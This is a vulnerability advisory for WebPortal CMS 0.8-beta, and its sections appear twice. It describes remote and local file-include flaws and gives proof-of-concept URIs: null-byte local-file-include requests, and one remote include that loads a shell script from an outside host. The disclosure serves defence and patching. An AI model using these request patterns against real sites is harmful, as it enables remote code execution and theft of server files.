WebPortal CMS Multiple Remote and Local File Include Vulnerabilities
BID:34687
Info
WebPortal CMS Multiple Remote and Local File Include Vulnerabilities
| Bugtraq ID: | 34687 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 22 2009 12:00AM |
| Updated: | Apr 24 2009 07:36PM |
| Credit: | ahmadbady |
| Vulnerable: |
WebPortal WebPortal CMS 0.7.4 WebPortal WebPortal CMS 0.6 WebPortal WebPortal CMS 0.8-beta |
| Not Vulnerable: | |
Discussion
WebPortal CMS Multiple Remote and Local File Include Vulnerabilities
WebPortal CMS is prone to multiple remote and local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these issues using directory-traversal strings to execute local script code in the context of the application or to execute remote scripts in the context of the webserver process. This may allow the attacker to access sensitive information that may aid in further attacks or to compromise the application.
WebPortal CMS 0.8-beta is vulnerable; other versions may also be affected.
WebPortal CMS is prone to multiple remote and local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these issues using directory-traversal strings to execute local script code in the context of the application or to execute remote scripts in the context of the webserver process. This may allow the attacker to access sensitive information that may aid in further attacks or to compromise the application.
WebPortal CMS 0.8-beta is vulnerable; other versions may also be affected.
Exploit / POC
WebPortal CMS Multiple Remote and Local File Include Vulnerabilities
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/path/webportal-0.8-beta/libraries/helpdocs/help.php?lang=[local file]%00
http://www.example.com/path/webportal-0.8-beta/indexk.php?lib_path=http://www.example2.com/shell.txt?
http://www.example.com/path/webportal-0.8-beta/index.php?error=[local file]%00
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/path/webportal-0.8-beta/libraries/helpdocs/help.php?lang=[local file]%00
http://www.example.com/path/webportal-0.8-beta/indexk.php?lib_path=http://www.example2.com/shell.txt?
http://www.example.com/path/webportal-0.8-beta/index.php?error=[local file]%00
Solution / Fix
WebPortal CMS Multiple Remote and Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
WebPortal CMS Multiple Remote and Local File Include Vulnerabilities
References:
References:
- WebPortal CMS Homepage (WebPortal CMS)